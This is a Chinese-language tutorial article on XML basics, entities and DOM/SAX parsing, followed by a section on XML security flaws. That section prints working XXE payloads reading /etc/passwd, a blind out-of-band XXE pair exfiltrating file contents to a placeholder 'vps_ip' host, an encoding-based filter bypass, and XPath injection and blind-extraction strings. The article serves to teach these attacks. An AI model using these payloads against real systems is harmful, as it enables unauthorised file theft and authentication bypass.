内容简介:本文用来归纳并深入理解xml语言及其在web环境中可能存在的安全隐患。XML 指可扩展标记语言(EXtensible Markup Language),是一种标记语言,很类似 HTML。其设计宗旨是传输数据,而非显示数据。
前言
本文用来归纳并深入理解xml语言及其在web环境中可能存在的安全隐患。
xml基本概念
什么是xml?
XML 指可扩展标记语言(EXtensible Markup Language),是一种标记语言,很类似 HTML。其设计宗旨是传输数据,而非显示数据。
XML 标签没有被预定义。所以需要自行定义标签。
什么是标记语言?
标记语言,是一种将文本以及文本相关的其他信息结合起来,展现出关于文档结构和数据处理细节的电脑文字编码。与文本相关的其他信息(包括文本的结构和表示信息等)与原来的文本结合在一起,但是使用标记进行标识。
标记语言不仅仅是一种语言,就像许多语言一样,它需要一个运行时环境,使其有用。提供运行时环境的元素称为用户代理。
标记语言的不同点
- 1.标记语言
被读取的,本身没有行为能力(被动);例如:Html 、XML等
- 2.编程语言
需要编译执行;本身具有逻辑性和行为能力例如:C、 Java 等
- 3.脚本语言
需要解释执行;本身具有逻辑性和行为能力;例如:javascript等
所以说xml本身是一种语言,所以它具有本身语言的特性,和需要完成的功能
下面我们看看xml如何发挥自身语言的作用,实现功能
xml基础语法
xml声明
xml文档是由一组使用唯一名称标识的实体组成的。始终以一个声明开始,这个声明指定该文档遵循XML1.0的规范。
<?xml version="1.0" encoding="UTF-8"?>
encodeing是指使用的字符编码格式有UTF-8,GBK,gb2312等等
(这里插一嘴,既然可以设置编码格式,就有可能存在bypass,后续讲)
每个XML文件都必须有且只能有一个根元素。用于描述文档功能。可以自定义根元素。下例中的root为根元素。
<root>...................</root>
XML代码
根据应用需要创建自定义的元素和属性。标签包括尖括号以及尖括号中的文本。元素是XML内容的基本单元。元素包括了开始标签、结束标签和标签之间的内容。
<title>XML是可扩展标记语言</title>
处理指令
凡是以 <?
开始, ?>
结束的都是处理指令。XML声明就是一个处理指令。
字符数据分以下两类:
PCDATA(是指将要通过解析器进行解析的文本)
CDATA (是指不要通过解析器进行解析的文本)
其中不允许 CDATA
块之内使用字符串 ]]>
,因为它表示CDATA块的结束。
实体分为两类:
- 一般实体(格式:&实体引用名;)
- 参数实体(格式:%实体引用名;)
一般实体,可以在XML文档中的任何位置出现的实体称为一般实体。实体可以声明为内部实体还是外部实体。
外部实体分SYSYTEM及PUBLIC两种:
SYSYTEM引用本地计算机,PUBLIC引用公共计算机,外部实体格式如下:
<!ENTITY 引用名 SYSTEM(PUBLIC) "URI地址">
DOCTYPE声明
在XML文档中, <!DOCTYPE[...]>
声明跟在XML声明的后面。实体也必须在DOCTYPE声明中声明。
例如
<?xml version="1.0" unicode="UTF-8"> <!DOCTYPE[ .....在此声明实体<!ENTITY 实体引用名 "引用内容"> ]>
完整的例子
<?xml version="1.0" encoding="GBK"?> <!DOCTYPE root[ <!ENTITY sky1 "引用字符1"> <!ENTITY sky2 "引用字符2"> ]> <root> <title value="&sky1;"> &sky2; </title> <title2> <value><a>&sky2;</a></value> </title2> </root>
xml解析方式
首先xml是被读取的标记语言,他不可能自我解析,所以需要脚本语言或者编译语言对其进行读取然后解析。
这里以Java中主要的两种解析读取方法为例(解析上来说大多大同小异,以java为代表)
xml解析的方式分为两种:
- DOM方式
- SAX方式
DOM方式
DOM方式即以树型结构访问XML文档:
一棵DOM树包含全部元素节点和文本节点。可以前后遍历树中的每一个节点。
例如
<?xml version="1.0" encoding="UTF-8"?> <DataSource> <database name="mysql" version="5.0"> <driver>com.mysql.jdbc.Driver</driver> <url>jdbc:mysql://localhost:3306/linkinjdbc</url> <user>root</user> <password>root</password> </database> <database name="Oracle" version="10G"> <driver>oracle.jdbc.driver.OracleDriver</driver> <url>jdbc:oracle:thin:@127.0.0.1:linkinOracle</url> <user>system</user> <password>root</password> </database> </DataSource>
解析后大概如下
然后再对树操作,进行查找
SAX方式
SAX处理的特点是基于事件流的。分析能够立即开始,而不是等待所有的数据被处理。而且,由于应用程序只是在读取数据时检查数据,因此不需要将数据存储在内存中。这对于大型文档来说是个巨大的优点。
事实上,应用程序甚至不必解析整个文档;它可以在某个条件得到满足时停止解析。sax分析器在对xml文档进行分析时,触发一系列的事件,应用程序通过事件处理函数实现对xml文档的访问。
因为事件触发是有时序性的,所以sax分析器提供的是一种对xml文档的顺序访问机制,对于已经分析过的部分,不能再重新倒回去处理。
此外,它也不能同时访问处理2个tag,sax分析器在实现时,只是顺序地检查xml文档中的字节流,判断当前字节是xml语法中的哪一部分,检查是否符合xml语法并且触发相应的事件。对于事件处理函数的本身,要由应用程序自己来实现。
SAX解析器采用了基于事件的模型,它在解析XML文档的时候可以触发一系列的事件,当发现给定的tag的时候,它可以激活一个回调方法,告诉该方法制定的标签已经找到。
所以对于上述xml内容
<?xml version="1.0" encoding="UTF-8"?> <DataSource> <database name="mysql" version="5.0"> <driver>com.mysql.jdbc.Driver</driver> <url>jdbc:mysql://localhost:3306/linkinjdbc</url> <user>root</user> <password>root</password> </database> <database name="Oracle" version="10G"> <driver>oracle.jdbc.driver.OracleDriver</driver> <url>jdbc:oracle:thin:@127.0.0.1:linkinOracle</url> <user>system</user> <password>root</password> </database> </DataSource>
它的解析流程为:
开始解祈XML文档... 开始解祈元素[DataSource]... 共有[0]个属性... 开始接受元素中的字符串数据... 开始解祈元素[database]... 共有[2]个属性... 属性名是:name;属性值是:mysql 属性名是:version;属性值是:5 开始接受元素中的字符串数据... 开始解祈元素[driver]... 共有[0]个属性... 开始接受元素中的字符串数据... com.mysql.jdbc.Driver 解祈元素[driver]结束... 开始解祈元素[url]... 共有[0]个属性... 开始接受元素中的字符串数据... jdbc:mysql://localhost:3306/linkinjdbc 解祈元素[url]结束... ....... 解祈元素[database]结束... 开始解祈元素[database]... 共有[2]个属性... 属性名是:name;属性值是:Oracle 属性名是:version;属性值是:10G 开始接受元素中的字符串数据... ..... 解祈元素[database]结束... 解祈元素[DataSource]结束...
大概如上,这样即可顺序访问,知道找到需要访问的值,即可回调返回结束
优缺点对比
DOM形:
- 优点:
- 整个 Dom 树都加载到内存中了,所以允许随机读取访问数
- 允许随机的对文档结构进行增删
- 缺点:
- 整个 XML 文档必须一次性解析完,耗时。
- 整个 Dom 树都要加载到内存中,占内存。
- 适用于:文档较小,且需要修改文档内容
SAX形: - 优点:
- 访问能够立即进行,不需要等待所有数据被加载
- 不需要将整个数据都加载到内存中,占用内存少
- 允许注册多个Handler,可以用来解析文档内容,DTD约束等等
- 缺点:
- 需要应用程序自己负责TAG的处理逻辑(例如维护父/子关系等),文档越复杂程序就越复杂。
- 单向导航,无法定位文档层次,很难同时访问同一文档的不同部分数据,不支持XPath。
- 不能随机访问 xml 文档,不支持原地修改xml。
- 适用于:文档较大,只需要读取文档数据。
安全隐患
xml作为数据存储/传递的一种标记语言,一定是会在通讯,交互等时候被使用的,那么编译语言/脚本语言需要读取xml来读取数据的时候,势必会解析xml格式的文本内容
那么在解析的时候,如果攻击者可以控制xml格式的文本内容,那么就可以让编译语言/脚本语言接收到恶意构造的参数,若不加过滤,则会引起安全隐患
XXE-任意文件读取
在上述的语法中,我们提及到,xml可以引入实体,例如
<!ENTITY 引用名 SYSTEM(PUBLIC) "URI地址">
我们可以看到,这里填写的是url地址,这就可以涉及到多个问题:
1.url协议多样,例如:file、http、gopher……
2.是否可以请问外部实体
这里我们先做一个简单的测试,使用file协议,引入实体
php代码如下
<?php $xml= file_get_contents("./xxepayload.txt"); $data = simplexml_load_string($xml,'SimpleXMLElement',$options=LIBXML_NOENT); print_r($data); ?>
xml内容如下:
<?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "file:///etc/passwd"> ]> <x>&f;</x>
访问后可得到回显
这是为什么?
因为
<!ENTITY f SYSTEM "file:///etc/passwd">
file:///etc/passwd
文件的内容取出,赋值给了实体
f
然后实体 f
的值作为元素 x
中的字符串数据被 php 解析的时候取出,作为对象里的内容
然后再输出该对象的时候被打印出来。
故此,倘若我们可以控制xml文本内容,那么就能利用编译/脚本语言的解析,输出我们想读的指定文件
XXE-任意文件盲读取
我们知道在Xml解析内容可以被输出的时候,我们可以采取上述攻击方式
但有时候,xml只作为数据的传递方式,服务端解析xml后,直接将数据进一步处理再输出,甚至不输出,这时候可能就无法得到我们想读的结果。
那么此时,可以尝试使用blind xxe进行攻击:
1.我们可以利用file协议去读取本地文件
2.我们可以利用http协议让实体被带出
我们知道xml中,跟的是url地址
<!ENTITY 引用名 SYSTEM(PUBLIC) "URI地址">
那么此时我们当然可以使用http协议,那么xml解析的时候势必会去访问我们指定的url链接
此时就有可能将数据带出
我们想要的方法是这样的
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % param1 "file:///etc/passwd"> <!ENTITY % param2 "http://vps_ip/?%param1"> %param2; ]>
此时xml解析时,就会将我们读取到的内容的param1实体带出,我们再vps的apache log上就可以看到
但是上述构造存在语法问题
于是我们想到这样一个构造方案
post.xml
<?xml version="1.0"?> <!DOCTYPE ANY[ <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % remote SYSTEM "http://vps_ip/evil.xml"> %remote; %all; ]> <root>&send;</root>
evil.xml
<!ENTITY % all "<!ENTITY send SYSTEM 'http://vps_ip/1.php?file=%file;'>">
这样一来,在解析xml的时候:
1.file实体被赋予 file:///etc/passwd
的内容
http://vps_ip/evil.xml
3.在解析 evil.xml
中all实体的时候,将file实体带入
4.访问指定url链接,将数据带出
于是成功造成了blind xxe文件读取
这里再额外提及一下,既然我们再开始申明的时候可以规定编码格式,那么倘若后台对
ENTITY
等关键词进行过滤时,我们可以尝试使用UTF-7,UTF-16等编码去Bypass
例如
<?xml version="1.0" encoding="UTF-16"?>
Xpath注入
xml同样可作为数据存储,所以这里可以将其当做数据库
类似于如下
<?xml version="1.0" encoding="UTF-8"?> <users> <user> <firstname>Ben</firstname> <lastname>Elmore</lastname> <loginID>abc</loginID> <password>test123</password> </user> <user> <firstname>Shlomy</firstname> <lastname>Gantz</lastname> <loginID>xyz</loginID> <password>123test</password> </user> <user> <firstname>Jeghis</firstname> <lastname>Katz</lastname> <loginID>mrj</loginID> <password>jk2468</password> </user> <user> <firstname>Darien</firstname> <lastname>Heap</lastname> <loginID>drano</loginID> <password>2mne8s</password> </user> </users>
其查询语句,也类似于 sql 语句
//users/user[loginID/text()=’abc’ and password/text()=’test123’]
所以相同的,我们可以用类似sql注入的方式来闭合引号例如:
loginID=' or 1=1 or ''=' password=' or 1=1 or ''='
可以得到
//users/user[loginID/text()='' or 1=1 or ''='' and password/text()='' or 1=1 or ''='']
那么查询语句将返回 true
Xpath盲注
方法类似于Sql注入,只是函数可能使用不同
提取当前节点的父节点的名称:
' or substring(loginID(parent::*[position()=1]),1,1)='a ' or substring(loginID(parent::*[position()=1]),1,1)='b ' or substring(loginID(parent::*[position()=1]),1,1)='c .... ' or substring(loginID(parent::*[position()=1]),2,1)='a ' or substring(loginID(parent::*[position()=1]),2,1)='b ....
如此循环可得到一个完整的父节点名称
确定address节点的名称后,攻击者就可以轮流攻击它的每个子节点,提取出它们的名称与值。(通过索引)
'or substring(//user[1]/*[2]/text(),1,1)='a' or 'a'='a 'or substring(//user[1]/*[2]/text(),1,1)='b' or 'a'='a 'or substring(//user[1]/*[2]/text(),1,1)='c' or 'a'='a .....
同时,既然将xml用作数据库,有可能存在泄漏问题,例如
accounts.xml databases.xml ...
这里还有一道实例题,有兴趣的可以参考一下
http://skysec.top/2018/07/30/ISITDTU-CTF-Web/#Access-Box
代码注入
这一块可以参考我之前写过的soap总结
http://skysec.top/2018/07/25/SOAP%E5%8F%8A%E7%9B%B8%E5%85%B3%E6%BC%8F%E6%B4%9E%E7%A0%94%E7%A9%B6/
既然xml作为标记语言,需要后台解析
那么我们在传递参数的时候,就可以插入标记语言
(就像html可以被插入,导致xss一样)
在后端解析的时候,就可以达到伪造的目的
参考链接
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- 除泄密隐患,筑保密长城
- iOS开发如何避免安全隐患
- 用Rust解决C语言的隐患
- 浅析常见 Debug 调试器的安全隐患
- Kubernetes用户权限提升漏洞所暴露的安全隐患
- 一键安装藏隐患,phpStudy 批量入侵的分析与溯源
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。